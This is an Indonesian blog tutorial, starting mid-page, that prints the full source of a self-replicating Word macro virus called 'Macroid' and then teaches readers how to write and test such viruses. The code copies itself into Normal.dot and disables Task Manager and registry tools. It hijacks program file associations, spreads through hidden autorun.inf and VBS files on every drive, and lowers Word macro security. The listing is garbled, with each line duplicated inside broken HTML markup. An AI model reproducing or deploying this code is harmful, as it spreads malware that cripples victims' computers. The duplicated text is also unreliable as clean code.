#1, “set tf = fs.CreateTextFile(FD.Path” & Chr(38) & Chr(34)
& “\Jangan di baca.doc” & Chr(34) & “)”</span> |
<span style=”color:
#ff0000;”>Print #1, “end if”</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “end if”</span> |
<span style=”color:
#ff0000;”>Print #1, “Next”</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “Next”</span> |
<span style=”color:
#ff0000;”>Close #1</span>
1 |
<span style=”color:
#ff0000;”>Close #1</span> |
<span style=”color:
#ff0000;”>End If</span>
1 |
<span style=”color:
#ff0000;”>End If</span> |
<span style=”color:
#ff0000;”>ActiveDocument.Save</span>
1 |
<span style=”color:
#ff0000;”>ActiveDocument.Save</span> |
<span style=”color:
#ff0000;”>NormalTemplate.Save</span>
1 |
<span style=”color:
#ff0000;”>NormalTemplate.Save</span> |
<span style=”color:
#ff0000;”>End Sub</span>
1 |
<span style=”color:
#ff0000;”>End Sub</span> |
<span style=”color:
#ff0000;”>Private Sub Document_Open()</span>
1 |
<span style=”color:
#ff0000;”>Private Sub Document_Open()</span> |
<span style=”color:
#ff0000;”>CommandBars(“Tools”).Controls(“Macro”).Visible =
False</span>
1 |
<span style=”color:
#ff0000;”>CommandBars(“Tools”).Controls(“Macro”).Visible =
False</span> |
<span style=”color:
#ff0000;”>CommandBars(“Tools”).Controls(“Macro”).Enabled =
False</span>
1 |
<span style=”color:
#ff0000;”>CommandBars(“Tools”).Controls(“Macro”).Enabled =
False</span> |
<span style=”color:
#ff0000;”>CommandBars(“Tools”).Controls(“Customize…”).Visible =
False</span>
1 |
<span style=”color:
#ff0000;”>CommandBars(“Tools”).Controls(“Customize…”).Visible =
False</span> |
<span style=”color:
#ff0000;”>CommandBars(“Tools”).Controls(“Options…”).Visible =
False</span>
1 |
<span style=”color:
#ff0000;”>CommandBars(“Tools”).Controls(“Options…”).Visible =
False</span> |
<span style=”color:
#ff0000;”>Dim AD, NT As Object</span>
1 |
<span style=”color:
#ff0000;”>Dim AD, NT As Object</span> |
<span style=”color:
#ff0000;”>Dim isi As String</span>
1 |
<span style=”color:
#ff0000;”>Dim isi As String</span> |
<span style=”color: #ff0000;”>Set
AD = ActiveDocument.VBProject.VBComponents.Item(1)</span>
1 |
<span style=”color:
#ff0000;”>Set AD =
ActiveDocument.VBProject.VBComponents.Item(1)</span> |
<span style=”color:
#ff0000;”>Set NT =
NormalTemplate.VBProject.VBComponents.Item(1)</span>
1 |
<span style=”color:
#ff0000;”>Set NT =
NormalTemplate.VBProject.VBComponents.Item(1)</span> |
<span style=”color:
#ff0000;”>If AD.Name <> “Macroid” Then</span>
1 |
<span style=”color:
#ff0000;”>If AD.Name <> “Macroid” Then</span> |
<span style=”color: #ff0000;”>AD.CodeModule.DeleteLines
1, AD.CodeModule.CountOfLines</span>
1 |
<span style=”color:
#ff0000;”>AD.CodeModule.DeleteLines 1,
AD.CodeModule.CountOfLines</span> |
<span style=”color:
#ff0000;”>AD.Name = “Macroid”</span>
1 |
<span style=”color: #ff0000;”>AD.Name
= “Macroid”</span> |
<span style=”color:
#ff0000;”>isi = NT.CodeModule.Lines(1,
NT.CodeModule.CountOfLines)</span>
1 |
<span style=”color:
#ff0000;”>isi = NT.CodeModule.Lines(1,
NT.CodeModule.CountOfLines)</span> |
<span style=”color: #ff0000;”>AD.CodeModule.AddFromString
isi</span>
1 |
<span style=”color:
#ff0000;”>AD.CodeModule.AddFromString isi</span> |
<span style=”color:
#ff0000;”>ActiveDocument.Save</span>
1 |
<span style=”color:
#ff0000;”>ActiveDocument.Save</span> |
<span style=”color: #ff0000;”>End
If</span>
1 |
<span style=”color:
#ff0000;”>End If</span> |
<span style=”color:
#ff0000;”>If NT.Name <> “Macroid” Then</span>
1 |
<span style=”color:
#ff0000;”>If NT.Name <> “Macroid” Then</span> |
<span style=”color: #ff0000;”>NT.CodeModule.DeleteLines
1, NT.CodeModule.CountOfLines</span>
1 |
<span style=”color:
#ff0000;”>NT.CodeModule.DeleteLines 1,
NT.CodeModule.CountOfLines</span> |
<span style=”color:
#ff0000;”>NT.Name = “Macroid”</span>
1 |
<span style=”color:
#ff0000;”>NT.Name = “Macroid”</span> |
<span style=”color:
#ff0000;”>isi = AD.CodeModule.Lines(1,
AD.CodeModule.CountOfLines)</span>
1 |
<span style=”color:
#ff0000;”>isi = AD.CodeModule.Lines(1,
AD.CodeModule.CountOfLines)</span> |
<span style=”color:
#ff0000;”>NT.CodeModule.AddFromString isi</span>
1 |
<span style=”color:
#ff0000;”>NT.CodeModule.AddFromString isi</span> |
<span style=”color:
#ff0000;”>NormalTemplate.Save</span>
1 |
<span style=”color:
#ff0000;”>NormalTemplate.Save</span> |
<span style=”color:
#ff0000;”>End If</span>
1 |
<span style=”color:
#ff0000;”>End If</span> |
<span style=”color:
#ff0000;”>If InStr(ActiveDocument.Content, “Macroid”) = 0 Then</span>
1 |
<span style=”color:
#ff0000;”>If InStr(ActiveDocument.Content, “Macroid”) = 0
Then</span> |
<span
style=”color: #ff0000;”>ActiveDocument.Content = “[Macroid]”
& vbCrLf & ActiveDocument.Content & vbCrLf
& vbCrLf & vbCrLf & “[Macroid] by Morphic”
& vbCrLf & “copyright(c) Medan Juli-2008″</span>
1 |
<span style=”color:
#ff0000;”>ActiveDocument.Content = “[Macroid]” & vbCrLf &
ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf
& “[Macroid] by Morphic” & vbCrLf & “copyright(c)
Medan Juli-2008″</span> |
<span style=”color:
#ff0000;”>End If</span>
1 |
<span style=”color:
#ff0000;”>End If</span> |
<span style=”color:
#ff0000;”>On Error Resume Next</span>
1 |
<span style=”color:
#ff0000;”>On Error Resume Next</span> |
<span style=”color:
#ff0000;”>Dim b As Object</span>
1 |
<span style=”color:
#ff0000;”>Dim b As Object</span> |
<span style=”color:
#ff0000;”>Set b = CreateObject(“Wscript.Shell”)</span>
1 |
<span style=”color:
#ff0000;”>Set b = CreateObject(“Wscript.Shell”)</span> |
<span
style=”color: #ff0000;”>b.regwrite “HKCU\SOFTWARE\Microsoft\Internet
Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh
Macroid”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKCU\SOFTWARE\Microsoft\Internet
Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh
Macroid”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”,
“Macroid”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite
“HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”,
“Macroid”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOrganization”, “Macroid”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOrganization”, “Macroid”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”</span> |
<span
style=”color: #ff0000;”>b.regwrite “HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha
ha ha”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha
ha”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,
“2″</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,
“2″</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”,
“1″</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”,
“1″</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”,
“1″</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”,
“1″</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”,
“1″</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”,
“1″</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,
“1″</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”,
“1″</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,
“1″</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”,
“1″</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”,
“1″</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite
“HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”,
“1″</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”,
“Tong Sampah Macroid”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”,
“Tong Sampah Macroid”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”,
“Komputer Morphic”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”,
“Komputer Morphic”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”,
“Winword.exe ” & Environ$(“windir”) &
“\Macroid.doc”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”,
“Winword.exe ” & Environ$(“windir”) &
“\Macroid.doc”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”,
“Winword.exe ” & Environ$(“windir”) &
“\Macroid.doc”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”,
“Winword.exe ” & Environ$(“windir”) &
“\Macroid.doc”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”,
“Winword.exe ” & Environ$(“windir”) &
“\Macroid.doc”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ”
& Environ$(“windir”) & “\Macroid.doc”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”,
“Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”</span> |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”,
“0pen”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”,
“0pen”</span> |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”,
“&Open”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”,
“&Open”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ”
& Environ$(“windir”) & “\avmc.vbs”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”,
“wscript.exe ” & Environ$(“windir”) &
“\avmc.vbs”</span> |
<span
style=”color: #ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”,
“Winword.exe ” & Environ$(“windir”) &
“\Macroid.doc”</span>
1 |
<span style=”color:
#ff0000;”>b.regwrite
“HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe
” & Environ$(“windir”) & “\Macroid.doc”</span> |
<span style=”color:
#ff0000;”>On Error Resume Next</span>
1 |
<span style=”color:
#ff0000;”>On Error Resume Next</span> |
<span style=”color:
#ff0000;”>Dim rog As Integer</span>
1 |
<span style=”color:
#ff0000;”>Dim rog As Integer</span> |
<span style=”color:
#ff0000;”>Dim atr, vbs, Tipu(10), Trik(10) As String</span>
1 |
<span style=”color:
#ff0000;”>Dim atr, vbs, Tipu(10), Trik(10) As String</span> |
<span style=”color:
#ff0000;”>For a = 66 To 90</span>
1 |
<span style=”color:
#ff0000;”>For a = 66 To 90</span> |
<span style=”color:
#ff0000;”>partisi = Chr$(a)</span>
1 |
<span style=”color:
#ff0000;”>partisi = Chr$(a)</span> |
<span style=”color:
#ff0000;”>vbs = partisi & “:\auto.vbs”</span>
1 |
<span style=”color:
#ff0000;”>vbs = partisi & “:\auto.vbs”</span> |
<span style=”color:
#ff0000;”>atr = partisi & “:\autorun.inf”</span>
1 |
<span style=”color:
#ff0000;”>atr = partisi & “:\autorun.inf”</span> |
<span style=”color:
#ff0000;”>Tipu(1) = partisi & “:\Soal SPMB
1995-2008.doc”</span>
1 |
<span style=”color:
#ff0000;”>Tipu(1) = partisi & “:\Soal SPMB
1995-2008.doc”</span> |
<span style=”color:
#ff0000;”>Tipu(2) = partisi & “:\Kisah di balik
HarryPotter.doc”</span>
1 |
<span style=”color:
#ff0000;”>Tipu(2) = partisi & “:\Kisah di balik
HarryPotter.doc”</span> |
<span style=”color:
#ff0000;”>Tipu(3) = partisi & “:\Titip File
sebentar.doc”</span>
1 |
<span style=”color:
#ff0000;”>Tipu(3) = partisi & “:\Titip File sebentar.doc”</span> |
<span style=”color:
#ff0000;”>Tipu(4) = partisi & “:\jangan di baca.doc”</span>
1 |
<span style=”color:
#ff0000;”>Tipu(4) = partisi & “:\jangan di baca.doc”</span> |
<span style=”color:
#ff0000;”>Tipu(5) = partisi & “:\buku harian.doc”</span>
1 |
<span style=”color:
#ff0000;”>Tipu(5) = partisi & “:\buku harian.doc”</span> |
<span style=”color:
#ff0000;”>Tipu(6) = partisi & “:\cerita hangat.doc”</span>
1 |
<span style=”color:
#ff0000;”>Tipu(6) = partisi & “:\cerita hangat.doc”</span> |
<span style=”color:
#ff0000;”>Tipu(7) = partisi & “:\Punya Baim.doc”</span>
1 |
<span style=”color:
#ff0000;”>Tipu(7) = partisi & “:\Punya Baim.doc”</span> |
<span style=”color:
#ff0000;”>Tipu(8) = partisi & “:\Teka-teki yang baru.doc”</span>
1 |
<span style=”color:
#ff0000;”>Tipu(8) = partisi & “:\Teka-teki yang
baru.doc”</span> |
<span style=”color:
#ff0000;”>Tipu(9) = partisi & “:\Kumpulan cerita
lucu.doc”</span>
1 |
<span style=”color:
#ff0000;”>Tipu(9) = partisi & “:\Kumpulan cerita
lucu.doc”</span> |
<span style=”color:
#ff0000;”>Tipu(10) = partisi & “:\Trik Sulap.doc”</span>
1 |
<span style=”color:
#ff0000;”>Tipu(10) = partisi & “:\Trik Sulap.doc”</span> |
<span
style=”color: #ff0000;”>If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “”
And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And
Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And
Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then</span>
1 |
<span style=”color:
#ff0000;”>If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “”
And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And
Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And
Dir(Tipu(10)) = “” Then</span> |
<span style=”color:
#ff0000;”>Randomize</span>
1 |
<span style=”color:
#ff0000;”>Randomize</span> |
<span style=”color:
#ff0000;”>rog = Int(10 * Rnd) + 1</span>
1 |
<span style=”color:
#ff0000;”>rog = Int(10 * Rnd) + 1</span> |
<span style=”color:
#ff0000;”>Open Tipu(rog) For Output As #1</span>
1 |
<span style=”color:
#ff0000;”>Open Tipu(rog) For Output As #1</span> |
<span style=”color:
#ff0000;”>Print #1, “”</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “”</span> |
<span style=”color:
#ff0000;”>Close #1</span>
1 |
<span style=”color:
#ff0000;”>Close #1</span> |
<span style=”color:
#ff0000;”>End If</span>
1 |
<span style=”color:
#ff0000;”>End If</span> |
<span style=”color:
#ff0000;”>Trik(1) = partisi & “:\Novel J.K.Rowling.doc”</span>
1 |
<span style=”color:
#ff0000;”>Trik(1) = partisi & “:\Novel J.K.Rowling.doc”</span> |
<span style=”color:
#ff0000;”>Trik(2) = partisi & “:\cerita cinta.doc”</span>
1 |
<span style=”color:
#ff0000;”>Trik(2) = partisi & “:\cerita cinta.doc”</span> |
<span style=”color:
#ff0000;”>Trik(3) = partisi & “:\Ringkasan cerita
HarryPotter.doc”</span>
1 |
<span style=”color:
#ff0000;”>Trik(3) = partisi & “:\Ringkasan cerita
HarryPotter.doc”</span> |
<span style=”color:
#ff0000;”>Trik(4) = partisi & “:\Semua Cheat game
DOTA.doc”</span>
1 |
<span style=”color:
#ff0000;”>Trik(4) = partisi & “:\Semua Cheat game
DOTA.doc”</span> |
<span style=”color:
#ff0000;”>Trik(5) = partisi & “:\Kumpulan Cheat
game.doc”</span>
1 |
<span style=”color:
#ff0000;”>Trik(5) = partisi & “:\Kumpulan Cheat
game.doc”</span> |
<span style=”color:
#ff0000;”>Trik(6) = partisi & “:\Cheat game RF.doc”</span>
1 |
<span style=”color:
#ff0000;”>Trik(6) = partisi & “:\Cheat game RF.doc”</span> |
<span style=”color:
#ff0000;”>Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”</span>
1 |
<span style=”color:
#ff0000;”>Trik(7) = partisi & “:\Cheat game Ayo
Dance.doc”</span> |
<span style=”color:
#ff0000;”>Trik(8) = partisi & “:\Goosebumps.doc”</span>
1 |
<span style=”color:
#ff0000;”>Trik(8) = partisi & “:\Goosebumps.doc”</span> |
<span style=”color:
#ff0000;”>Trik(9) = partisi & “:\FearStreet.doc”</span>
1 |
<span style=”color:
#ff0000;”>Trik(9) = partisi & “:\FearStreet.doc”</span> |
<span style=”color:
#ff0000;”>Trik(10) = partisi & “:\R.L.Stine.doc”</span>
1 |
<span style=”color:
#ff0000;”>Trik(10) = partisi & “:\R.L.Stine.doc”</span> |
<span
style=”color: #ff0000;”>If Dir(Trik(1)) = “” And Dir(Trik(2)) = “”
And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And
Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And
Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then</span>
1 |
<span style=”color:
#ff0000;”>If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “”
And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And
Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And
Dir(Trik(10)) = “” Then</span> |
<span style=”color:
#ff0000;”>Randomize</span>
1 |
<span style=”color:
#ff0000;”>Randomize</span> |
<span style=”color:
#ff0000;”>rogi = Int(10 * Rnd) + 1</span>
1 |
<span style=”color:
#ff0000;”>rogi = Int(10 * Rnd) + 1</span> |
<span style=”color:
#ff0000;”>Open Trik(rogi) For Output As #1</span>
1 |
<span style=”color:
#ff0000;”>Open Trik(rogi) For Output As #1</span> |
<span style=”color:
#ff0000;”>Print #1, “”</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “”</span> |
<span style=”color:
#ff0000;”>Close #1</span>
1 |
<span style=”color:
#ff0000;”>Close #1</span> |
<span style=”color:
#ff0000;”>End If</span>
1 |
<span style=”color:
#ff0000;”>End If</span> |
<span style=”color: #ff0000;”>Open
atr For Output As #1</span>
1 |
<span style=”color:
#ff0000;”>Open atr For Output As #1</span> |
<span style=”color:
#ff0000;”>Print #1, “[Autorun]“</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “[Autorun]“</span> |
<span style=”color: #ff0000;”>Print
#1, “shell\Open\command=wscript.exe auto.vbs”</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “shell\Open\command=wscript.exe auto.vbs”</span> |
<span style=”color:
#ff0000;”>Close #1</span>
1 |
<span style=”color:
#ff0000;”>Close #1</span> |
<span style=”color:
#ff0000;”>SetAttr atr, vbHidden + vbSystem</span>
1 |
<span style=”color:
#ff0000;”>SetAttr atr, vbHidden + vbSystem</span> |
<span style=”color:
#ff0000;”>Open vbs For Output As #1</span>
1 |
<span style=”color:
#ff0000;”>Open vbs For Output As #1</span> |
<span style=”color:
#ff0000;”>Print #1, “dim a”</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “dim a”</span> |
<span
style=”color: #ff0000;”>Print #1, “set a = createobject(” &
Chr(34) & “Wscript.shell” & Chr(34) &
“)”</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “set a = createobject(” & Chr(34) &
“Wscript.shell” & Chr(34) & “)”</span> |
<span
style=”color: #ff0000;”>Print #1, “a.regwrite ” & Chr(34)
& “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level”
& Chr(34) & “,” & Chr(34) & “1″
& Chr(34) & “,” & Chr(34) & “REG_DWORD”
& Chr(34)</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “a.regwrite ” & Chr(34) &
“HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34)
& “,” & Chr(34) & “1″ & Chr(34) & “,”
& Chr(34) & “REG_DWORD” & Chr(34)</span> |
<span
style=”color: #ff0000;”>Print #1, “a.regwrite ” & Chr(34)
& “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level”
& Chr(34) & “,” & Chr(34) & “1″
& Chr(34) & “,” & Chr(34) & “REG_DWORD”
& Chr(34)</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “a.regwrite ” & Chr(34) &
“HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34)
& “,” & Chr(34) & “1″ & Chr(34) & “,”
& Chr(34) & “REG_DWORD” & Chr(34)</span> |
<span
style=”color: #ff0000;”>Print #1, “a.regwrite ” & Chr(34)
& “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level”
& Chr(34) & “,” & Chr(34) & “1″
& Chr(34) & “,” & Chr(34) & “REG_DWORD”
& Chr(34)</span>
1 |
<span style=”color:
#ff0000;”>Print #1, “a.regwrite ” & Chr(34) &
“HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34)
& “,” & Chr(34) & “1″ & Chr(34) & “,”
& Chr(34) & “REG_DWORD” & Chr(34)</span> |
<span style=”color:
#ff0000;”>Close #1</span>
1 |
<span style=”color:
#ff0000;”>Close #1</span> |
<span style=”color:
#ff0000;”>SetAttr vbs, vbHidden + vbSystem</span>
1 |
<span style=”color:
#ff0000;”>SetAttr vbs, vbHidden + vbSystem</span> |
<span style=”color:
#ff0000;”>Next a</span>
1 |
<span style=”color:
#ff0000;”>Next a</span> |
<span style=”color:
#ff0000;”>End Sub</span>
1 |
<span style=”color:
#ff0000;”>End Sub</span> |
Hati –hati dengan source diatas.
Karena lumayan bikin pening juga.Tapi maaf ya kalo aku gak bisa jelasinnya
sekarang. Karena kalo aku jelasin nanti tutorial ini terlalu
panjangggggggggggggggg……. Makanya penjelasan mengenai source di atas aku buat
di tutorial kedua.
EFEK-EFEK KECIL DAN TANDA-TANDA TERINFEKSI
Nah coba tebak mana file virus dan mana file yang bukan virus!!!!!!!!
Jawabannya lihat di bawah!!
CARA MEMBUAT VIRUS LANJUTAN
Ini nih, dulu saya udah janji untuk ngelanjutin sample virus macro yang saya
buat dulu. Di tutorial kali ini saya akan jelasin sedikit demi sedikit untuk
mempelajari virus macro ini…
Pernah dengar virus Macroid?Itu adalah salah satu contoh virus macro yang saya
buat.
Langsung aja.
Buka visual Basic editor di Tools>macro>visual basic editor ato tekan
pada keyboard Alt+F11
Tampilannya mirip dengan VB6 kita, dan penggunaan sourcenya juga gak jauh beda…
Misalnya :
Dim AD as object
Ya gak. Mirip kan dengan script di VB6? Dan dilanjutkan dengan penggunaan
”set”. Misalnya :
set AD=ActiveDocument.VBProject.VBComponents.Item(1)
ha ha ha… oke deh gak usah main-main. Langsung keserius nya aja…
Script dibawah ini untuk mengubah ”Name” document yang diinfeksi (umumnya ini
yang dijadikan sebagai nama virus macro kita)
<span style=”color:
#ff0000;”>dim AD as object set
AD=ActiveDocument.VBProject.VBComponents.Item(1)</span>
1 |
<span style=”color:
#ff0000;”>dim AD as object set
AD=ActiveDocument.VBProject.VBComponents.Item(1)</span> |
<span
style=”color: #ff0000;”>if AD.Name “Macroid” then
AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines AD.Name =
“Macroid” end if</span>
1 |
<span style=”color:
#ff0000;”>if AD.Name “Macroid” then AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines
AD.Name = “Macroid” end if</span> |
contoh script diatas adalah untuk
mengubah name document menjadi ”Macroid”. (efek ini baru bisa dijalankan
setelah virus yang utuh dieksekusi)
Script diatas bisa kamu sisipkan di ”Document_Close()” ato di ”Document_Open()”
ato di ”Document_New()”
Kalo disisipkan di “Document_Close()” efeknya akan berjalan saat document
ditutup. Dan begitu juga dengan “Document_Open()” dan “Document_new()”
Kalo disisipkan di “Document_Open()” efeknya akan berjalan saat document
dibuka.
Kalo disisipkan di “Document_new()” efeknya akan aberjalan saat document baru
dibuka.
Ini contoh gambarnya…
Efeknya adalah ini.
Itu tandanya virus “Macroid”!!! ha ha ha… oke.
Sebenarnya saya mau menjelaskan lebih banyak soal trik-trik virus macro, tapi
saya yakin sebelum sampai diatas pasti masih banyak masalah untuk kalian…
Sebelumnya kalian harus perhatikan security macro kalian.
Lihat Tools>Macro>security
Yang harus kita pilih adalah opsi ”Low” supaya Ms.Word akan menjalankan semua
script di visual Basic Editor. Karena kita masih belajar-belajar biarkan saja
kita yang atur security ini, nanti kalo kita udah mau bikin virus macro, ada
caranya supaya virus kita yang ngatur security ini… tenang aja…
Setelah kita set securitynya, silakan save document terus hidupkan document
kita tadi.
Ada satu lagi masalah… kalo nanti ”misalnya” ada gambar seperti dibawah ini:
Berarti ada hal yang harus kita atur dulu… Buka lagi security macro tadi.
Lalu pada tab Trusted Publishers silakan ceklis “Trust aceess to Visual Basic
Project”
Nah klo itu dah dilakukan, maka untuk berikut-berikutnya kalo kita mau ngetes
virus macro kita udah bisa boss….
Sekian dulu tutorialnya, tunggu tutorial berikutnya ya….
Tidak ada komentar:
Posting Komentar